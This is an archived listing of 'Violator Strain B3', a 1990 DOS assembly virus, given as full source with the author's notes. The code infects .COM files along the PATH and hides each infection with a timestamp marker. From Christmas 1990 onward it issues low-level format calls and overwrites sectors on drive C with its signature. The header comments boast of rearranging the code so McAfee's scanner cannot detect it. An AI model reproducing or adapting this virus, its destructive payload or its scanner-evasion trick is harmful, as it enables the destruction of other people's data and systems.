home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / VIOL-B3.ASM < prev    next >
Assembly Source File  |  1990-10-24  |  14KB  |  442 lines

  1. ;*****************************************************************************
  2. ;                       Violator Strain B3
  3. ;*****************************************************************************
  4. ;
  5. ; Notes: (Oct.24.9O)
  6. ; ------------------
  7. ;
  8. ; (TJA) Bah! Sorry I released this late. Wanted to make sure all of the bugs
  9. ; and shit were fixed...
  10. ;
  11. ; Well, I had to rewrite this one so that McAffee can't scan for it. Took me
  12. ; a while, but I just re-did it from scratch and then after doing some
  13. ; research, it turned out he was looking for something in the Data Segment.
  14. ; So I just re-arranged a few things and voila! Instant unscannable virus!
  15. ;
  16. ; Also, for the INT filtering routine, I eliminated the extra bytes that do
  17. ; a [MOV marker,1] where it was unnecessary. After I issue it once, I don't
  18. ; have to keep MOVing it because it's still in memory right?
  19. ;
  20. ; Silly me wrote the original filter routine after I came home drunk from a 
  21. ; party, so I didn't take that into account. So we are one step close to having
  22. ; K-K00L thrify kode...
  23. ;
  24. ; I also took out that stupid MOV_CX macro. It was bugging the shit out of me
  25. ; becuase it served no purpose other than taking up extra space. MOV CX,virlen
  26. ; does the exact same thing...
  27. ;
  28. ; Other Notes
  29. ; -----------
  30. ;
  31. ; Thanx to RABID Pagan for some totally mondo ideas (Mutating Data Segment...)
  32. ; I think I'll be popping that into strain B4
  33. ;
  34. ; Also, to Rick Dangerous, about Violator/2 TSR. I found the problem with your
  35. ; TSR program. It was messy as hell!!! The CALL virus_begin was causing the
  36. ; problems. I'll rewrite the TSR for ya ala THETSR methodology.
  37. ;
  38. ;*****************************************************************************
  39. ;
  40. ;            Written by The High Evolutionary
  41. ;
  42. ;         Copyright (c) 199O by The RABID Nat'nl Development Corp.
  43. ;                  October, 24th, 199O
  44. ;*****************************************************************************
  45.  
  46. CODE    SEGMENT
  47.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  48.         ORG     $+0100H
  49.  
  50. VCODE:  JMP     virus
  51.  
  52.         NOP
  53.         NOP
  54.         NOP
  55.         NOP
  56.         NOP
  57.         NOP
  58.         NOP
  59.         NOP
  60.         NOP
  61.         NOP
  62.         NOP
  63.         NOP
  64.         NOP
  65.         NOP
  66.         NOP
  67.  
  68. v_start equ     $
  69.  
  70.  
  71. virus:  PUSH    CX
  72.         MOV     DX,OFFSET vir_dat       ;This is where the virus data starts.
  73.         CLD                             
  74.         MOV     SI,DX                   
  75.         ADD     SI,first_3              
  76.         MOV     DI,OFFSET 100H          
  77.         MOV     CX,3
  78.         REPZ    MOVSB                   
  79.         MOV     SI,DX                   
  80.         MOV     AH,30H
  81.         MOV    marker,1
  82.     CALL    filter
  83.         CMP     AL,0                    
  84.         JNZ     year_check                  
  85.         JMP     quit                    
  86.  
  87. filter:    CMP    marker,1
  88.     JE    int_21
  89.     CMP    marker,2
  90.     JE    int_13
  91.     CMP    marker,3
  92.     JE    int_26
  93.     RET
  94.  
  95. int_21:    INT    21H
  96.     RET
  97.  
  98. int_13:    INT    13h
  99.     RET
  100.  
  101. int_26:    INT    26h
  102.     RET
  103.  
  104. year_check:
  105.     MOV    AH,2AH            ; Get date info
  106.     MOV    marker,1
  107.     CALL    filter
  108.     CMP    CX,year
  109.     JGE    month_check
  110.     JMP    infect
  111.  
  112. month_check:
  113.     CMP    DH,month
  114.     JGE    day_check
  115.     JMP    infect
  116.  
  117. day_check:
  118.     CMP     DL,day
  119.     JGE    kill_13
  120.     JMP    infect
  121.  
  122. kill_13:
  123.     MOV    Al,counter
  124.     CALL    ala_13
  125.     CMP    counter,27
  126.     JE    re_format
  127.     INC    counter
  128.     LOOP    kill_13
  129.  
  130. ala_13:    MOV    CH,0
  131.     MOV    DL,counter
  132.     MOV    AH,05h
  133.     MOV    DH,0
  134.     MOV    marker,2
  135.     CALL    filter
  136.     RET
  137. ;
  138. ; I changed this routine, becuase in the original Violator, I rewrote the
  139. ; data segment by calling it for the INT 26. All I did this time, was just
  140. ; set BX to be an offset of my INTRO var. That way, when Drive C is formatted,
  141. ; the Violator identifier string will be written everywhere... Kinda neat!
  142. ;
  143.  
  144. re_format:
  145.     PUSHF    
  146.     MOV     BX,OFFSET intro        ; Changed it here...
  147.     MOV    DX,00
  148.     MOV    CX,800
  149.     MOV    AL,2
  150.     MOV    marker,3
  151.     CALL    filter
  152.     POPF
  153.  
  154. infect:    PUSH    ES
  155.         MOV     AH,2FH
  156.     MOV    marker,1
  157.     CALL    filter
  158.         MOV     [SI+old_dta],BX
  159.         MOV     [SI+old_dts],ES         
  160.         POP     ES
  161.         MOV     DX,dta                  
  162.         ADD     DX,SI                   
  163.         MOV     AH,1AH
  164.     CALL    filter
  165.         PUSH    ES
  166.         PUSH    SI
  167.         MOV     ES,DS:2CH
  168.         MOV     DI,0                    
  169.  
  170. find_path:
  171.         POP     SI
  172.         PUSH    SI                      
  173.         ADD     SI,env_str              ;Point to "PATH=" string in data area
  174.         LODSB
  175.         MOV     CX,OFFSET 8000H         
  176.         REPNZ   SCASB                   
  177.         MOV     CX,4
  178.  
  179. check_next_4:
  180.         LODSB
  181.         SCASB
  182.         JNZ     find_path               
  183.         LOOP    check_next_4            
  184.         POP     SI
  185.         POP     ES
  186.         MOV     [SI+path_ad],DI         
  187.         MOV     DI,SI
  188.         ADD     DI,wrk_spc              
  189.         MOV     BX,SI                   
  190.         ADD     SI,wrk_spc              
  191.         MOV     DI,SI                   
  192.         JMP     SHORT   slash_ok
  193.  
  194. set_subdir:
  195.         CMP     WORD PTR [SI+path_ad],0 
  196.         JNZ     found_subdir            
  197.         JMP     all_done                
  198.  
  199. found_subdir:
  200.         PUSH    DS
  201.         PUSH    SI
  202.         MOV     DS,ES:2CH               ;DS points to environment segment
  203.         MOV     DI,SI
  204.         MOV     SI,ES:[DI+path_ad]      ;SI = PATH address
  205.         ADD     DI,wrk_spc              ;DI points to file name workspace
  206.  
  207. move_subdir:
  208.         LODSB                           ;Get character
  209.         CMP     AL,';'                  ;Is it a ';' delimiter?
  210.         JZ      moved_one               ;Yes, found another subdirectory
  211.         CMP     AL,0                    ;End of PATH string?
  212.         JZ      moved_last_one          ;Yes
  213.         STOSB                           ;Save PATH marker into [DI]
  214.         JMP     SHORT   move_subdir
  215.  
  216. moved_last_one:
  217.         MOV     SI,0
  218.  
  219. moved_one:
  220.         POP     BX                      ;Pointer to virus data area
  221.         POP     DS                      ;Restore DS
  222.         MOV     [BX+path_ad],SI         ;Address of next subdirectory
  223.         NOP
  224.         CMP     CH,'\'                  ;Ends with "\"?
  225.         JZ      slash_ok                ;If yes
  226.         MOV     AL,'\'                  ;Add one, if not
  227.         STOSB
  228.  
  229. slash_ok:
  230.         MOV     [BX+nam_ptr],DI         ;Set filename pointer to name workspace
  231.         MOV     SI,BX                   ;Restore SI
  232.         ADD     SI,f_spec               ;Point to "*.COM"
  233.         MOV     CX,6
  234.         REPZ    MOVSB                   ;Move "*.COM",0 to workspace
  235.         MOV     SI,BX
  236.         MOV     AH,4EH
  237.         MOV     DX,wrk_spc
  238.         ADD     DX,SI                   ;DX points to "*.COM" in workspace
  239.         MOV     CX,3                    ;Attributes of Read Only or Hidden 
  240.     CALL    filter
  241.         JMP     SHORT   find_first
  242.  
  243. find_next:
  244.         MOV     AH,4FH
  245.     CALL    filter
  246.  
  247. find_first:
  248.         JNB     found_file              ;Jump if we found it
  249.         JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory
  250.  
  251. found_file:
  252.         MOV     AX,[SI+dta_tim]         ;Get time from DTA
  253.         AND     AL,1CH                  
  254.         CMP     AL,1CH                  
  255.         JZ      find_next               ;If so, go find another file
  256.         CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
  257.         JA      find_next               ;If too long, find another one
  258.         CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
  259.         JB      find_next               ;Then go find another one
  260.         MOV     DI,[SI+nam_ptr]         ;DI points to file name
  261.         PUSH    SI                      ;Save SI
  262.         ADD     SI,dta_nam              ;Point SI to file name
  263.  
  264. more_chars:
  265.         LODSB
  266.         STOSB
  267.         CMP     AL,0
  268.         JNZ     more_chars              ;Move characters until we find a 00
  269.         POP     SI
  270.         MOV     AX,OFFSET 4300H
  271.         MOV     DX,wrk_spc              ;Point to \path\name in workspace
  272.         ADD     DX,SI
  273.     CALL    filter
  274.         MOV     [SI+old_att],CX         ;Save the old attributes
  275.         MOV     AX,OFFSET 4301H         ;Set attributes
  276.         AND     CX,OFFSET 0FFFEH
  277.         MOV     DX,wrk_spc              ;Offset of \path\name in workspace
  278.         ADD     DX,SI                   ;Point to \path\name
  279.     CALL    filter
  280.         MOV     AX,OFFSET 3D02H         ;Read/Write
  281.         MOV     DX,wrk_spc              ;Offset to \path\name in workspace
  282.         ADD     DX,SI                   ;Point to \path\name
  283.     CALL    filter
  284.         JNB     opened_ok               ;If file was opened OK
  285.         JMP     fix_attr                ;If it failed, restore the attributes
  286.  
  287. opened_ok:
  288.     INC    times            ; INC the number of times we infected
  289.         MOV     BX,AX
  290.         MOV     AX,OFFSET 5700H
  291.     CALL    filter
  292.         MOV     [SI+old_tim],CX         ;Save file time
  293.         MOV     [SI+ol_date],DX         ;Save the date
  294.         MOV     AH,2CH
  295.     CALL    filter
  296.         MOV     AH,3FH
  297.         MOV     CX,3
  298.         MOV     DX,first_3
  299.         ADD     DX,SI
  300.     CALL    filter
  301.         JB      fix_time_stamp      ;Quit, if read failed
  302.         CMP     AX,3                ;Were we able to read all 3 bytes?
  303.         JNZ     fix_time_stamp      ;Quit, if not
  304.         MOV     AX,OFFSET 4202H
  305.         MOV     CX,0
  306.         MOV     DX,0
  307.     CALL    filter
  308.         JB      fix_time_stamp      ;Quit, if it didn't work
  309.         MOV     CX,AX               ;DX:AX (long int) = file size
  310.         SUB     AX,3                ;Subtract 3 (DX must be 0, here)
  311.         MOV     [SI+jmp_dsp],AX     ;Save the displacement in a JMP inst
  312.         ADD     CX,OFFSET c_len_y
  313.         MOV     DI,SI               ;Point DI to virus data area
  314.         SUB     DI,OFFSET c_len_x
  315.         MOV     [DI],CX         
  316.         MOV     AH,40H
  317.         MOV     CX,virlen               ;Bah! Took out the stupid macro!!!
  318.         MOV     DX,SI
  319.         SUB     DX,OFFSET codelen       ;Length of virus code, gives starting
  320.                                         ;address of virus code in memory
  321.     CALL    filter
  322.         JB      fix_time_stamp          ;Jump if error
  323.         CMP     AX,OFFSET virlen        ;All bytes written?
  324.         JNZ     fix_time_stamp          ;Jump if error
  325.         MOV     AX,OFFSET 4200H
  326.         MOV     CX,0
  327.         MOV     DX,0
  328.     CALL    filter
  329.         JB      fix_time_stamp          ;Jump if error
  330.         MOV     AH,40H
  331.         MOV     CX,3
  332.         MOV     DX,SI                   ;Virus data area
  333.         ADD     DX,jmp_op               ;Point to the reconstructed JMP
  334.     CALL    filter
  335.  
  336. fix_time_stamp:
  337.         MOV     DX,[SI+ol_date]         ;Old file date
  338.         MOV     CX,[SI+old_tim]         ;Old file time
  339.         AND     CX,OFFSET 0FFE0H
  340.         OR      CX,1CH                  
  341.         MOV     AX,OFFSET 5701H
  342.     CALL    filter
  343.         MOV     AH,3EH
  344.     CALL    filter
  345.  
  346. fix_attr:
  347.         MOV     AX,OFFSET 4301H
  348.         MOV     CX,[SI+old_att]         ;Old Attributes
  349.         MOV     DX,wrk_spc
  350.         ADD     DX,SI                   ;DX points to \path\name in workspace
  351.     CALL    filter
  352.  
  353. all_done:
  354.         PUSH    DS
  355.         MOV     AH,1AH
  356.         MOV     DX,[SI+old_dta]
  357.         MOV     DS,[SI+old_dts]
  358.     CALL    filter
  359.         POP     DS
  360.  
  361.  
  362. ;*************************************************************************
  363. ; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
  364. ;  in since the address in a real JMP 100 is an offset, and the offset
  365. ;  varies from one infected file to the next. By PUSHing an 0100H onto the
  366. ;  stack, we can RET to address 0100H just as though we JMPed there.
  367. ;************************************************************************
  368.  
  369. quit:
  370.         POP     CX
  371.         XOR     AX,AX
  372.         XOR     BX,BX
  373.         XOR     DX,DX
  374.         XOR     SI,SI
  375.         MOV     DI,OFFSET 0100H
  376.         PUSH    DI
  377.         XOR     DI,DI
  378.         RET     0FFFFH
  379.  
  380. vir_dat EQU     $
  381.  
  382. year    DW    1990            ;Set year to 1990
  383. ;
  384. ; MASM considers a DB value greater than 255 illegal. So I just make the year
  385. ; into a Data Word. That way, I can still keep the year as part of the data
  386. ; segment for easier modification.
  387. ;
  388. ; Just for anyone who is curious out there...
  389. ;
  390. month    DB    12            ;Set month to December
  391. day    DB    25            ;Set day to Christmas
  392. intro    DB    'Violator Strain B3 - RABID Nat''nl Development Corp.'
  393. marker    DB    0            ;Marker for INT purposes
  394. counter    DB    2            ;Counter for drives
  395. times    DB    0
  396. olddta_ DW      0                       
  397. olddts_ DW      0                       
  398. oldtim_ DW      0                       
  399. oldate_ DW      0                       
  400. oldatt_ DW      0                       
  401. first3_ EQU     $
  402.         INT     20H
  403.         NOP
  404. jmpop_  DB      0E9H                    
  405. jmpdsp_ DW      0                       
  406. pathad_ DW      0                       
  407. namptr_ DW      0                       
  408. envstr_ DB      'PATH='                 
  409. fspec_  DB      '*.COM',0
  410. wrkspc_ DB      40h dup (0)
  411. dta_    DB      16h dup (0)             
  412. dtatim_ DW      0,0                     
  413. dtalen_ DW      0,0                     
  414. dtanam_ DB      0Dh dup (0)             
  415. lst_byt EQU     $                       
  416.                                         
  417. virlen  =       lst_byt - v_start       
  418. codelen =       vir_dat - v_start       
  419. c_len_x =       vir_dat - v_start - 2   
  420. c_len_y =       vir_dat - v_start + 100H
  421. old_dta =       olddta_ - vir_dat       
  422. old_dts =       olddts_ - vir_dat       
  423. old_tim =       oldtim_ - vir_dat       
  424. ol_date =       oldate_ - vir_dat       
  425. old_att =       oldatt_ - vir_dat       
  426. first_3 =       first3_ - vir_dat       
  427. jmp_op  =       jmpop_  - vir_dat       
  428. jmp_dsp =       jmpdsp_ - vir_dat       
  429. f_spec  =       fspec_  - vir_dat       
  430. path_ad =       pathad_ - vir_dat       
  431. nam_ptr =       namptr_ - vir_dat       
  432. env_str =       envstr_ - vir_dat       
  433. wrk_spc =       wrkspc_ - vir_dat       
  434. dta     =       dta_    - vir_dat       
  435. dta_tim =       dtatim_ - vir_dat       
  436. dta_len =       dtalen_ - vir_dat       
  437. dta_nam =       dtanam_ - vir_dat       
  438.  
  439.         CODE    ENDS
  440. END     VCODE
  441.  
  442. ; The End ? Stay tuned, true believers, for Violator Strain Be-fore...